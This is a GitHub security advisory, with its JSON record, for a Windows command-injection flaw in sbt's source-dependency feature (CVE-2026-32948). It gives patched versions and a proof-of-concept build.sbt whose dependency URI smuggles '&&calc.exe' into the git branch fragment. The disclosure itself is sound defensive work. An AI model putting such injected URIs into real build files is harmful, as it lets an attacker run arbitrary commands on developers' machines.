GHSA-X4FF-Q6H8-V7GW

Vulnerability from github – Published: 2026-03-24 16:04 – Updated: 2026-03-27 21:57
VLAI
Summary
sbt: Source dependency feature (via crafted VCS URL) leads to arbitrary code execution on Windows
Details

Summary

On Windows, sbt uses Process("cmd", "/c", ...) to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Because cmd /c interprets &, |, and ; as command separators, a malicious fragment can execute arbitrary commands.

Patched version

Technically, sbt 1.12.7 is patched, but it has a bug that makes source dependency non-functional, so update to sbt 1.12.8 or later instead.

Details

PoC

# build.properties
# sbt.version=1.12.5  # Tested on those two versions of sbt
sbt.version=2.0.0-RC9

// build.sbt

ThisBuild / scalaVersion := "2.12.19"

lazy val root = project
  .in(file("."))
  .dependsOn(vulnerable)

lazy val vulnerable = RootProject(
  uri("https://github.com/sbt/io.git#develop%26%26calc.exe")
)

Impact

Windows users are impacted. An attacker can execute arbitrary Windows commands if they control the dependency URI.

Severity
6.7 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 1.12.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.scala-sbt:sbt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.5"
            },
            {
              "fixed": "1.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32948"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T16:04:12Z",
    "nvd_published_at": "2026-03-24T20:16:27Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nOn Windows, sbt uses `Process(\"cmd\", \"/c\", ...)` to run VCS commands (git, hg, svn). The URI fragment (branch, tag, revision) is user-controlled via the build definition and passed to these commands without validation. Because `cmd /c` interprets `\u0026`, `|`, and `;` as command separators, a malicious fragment can execute arbitrary commands.\n\n### Patched version\n\nTechnically, sbt 1.12.7 is patched, but it has a bug that makes source dependency non-functional, so update to **sbt 1.12.8** or later instead.\n\n### Details\n- [Resolvers.scala L84\u201395](https://github.com/sbt/sbt/blob/dc90f160dfb563f46fd1a7b97945c381d15e2a6c/main/src/main/scala/sbt/Resolvers.scala#L84-L95) \u2014 git resolver passes `uri.getFragment()` to `run()` without sanitization\n- [Resolvers.scala L137\u2013145](https://github.com/sbt/sbt/blob/dc90f160dfb563f46fd1a7b97945c381d15e2a6c/main/src/main/scala/sbt/Resolvers.scala#L137-L145) \u2014 `run()` uses `Process(\"cmd\", \"/c\", ...)` on Windows, so `cmd` interprets `\u0026\u0026` as command separator\n\n### PoC\n```sh\n# build.properties\n# sbt.version=1.12.5  # Tested on those two versions of sbt\nsbt.version=2.0.0-RC9\n```\n\n```scala\n// build.sbt\n\nThisBuild / scalaVersion := \"2.12.19\"\n\nlazy val root = project\n  .in(file(\".\"))\n  .dependsOn(vulnerable)\n\nlazy val vulnerable = RootProject(\n  uri(\"https://github.com/sbt/io.git#develop%26%26calc.exe\")\n)\n```\n\n### Impact\n\nWindows users are impacted. An attacker can execute arbitrary Windows commands if they control the dependency URI.",
  "id": "GHSA-x4ff-q6h8-v7gw",
  "modified": "2026-03-27T21:57:02Z",
  "published": "2026-03-24T16:04:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sbt/sbt/security/advisories/GHSA-x4ff-q6h8-v7gw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32948"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sbt/sbt/commit/1ce945b6b79cbe3cef6c0fe9efbbd2904e0f479e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sbt/sbt/commit/3a474ab060df4dbfa825a7e7bc97e00056519800"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sbt/sbt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sbt/sbt/releases/tag/v1.12.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "sbt: Source dependency feature (via crafted VCS URL) leads to arbitrary code execution on Windows"
}



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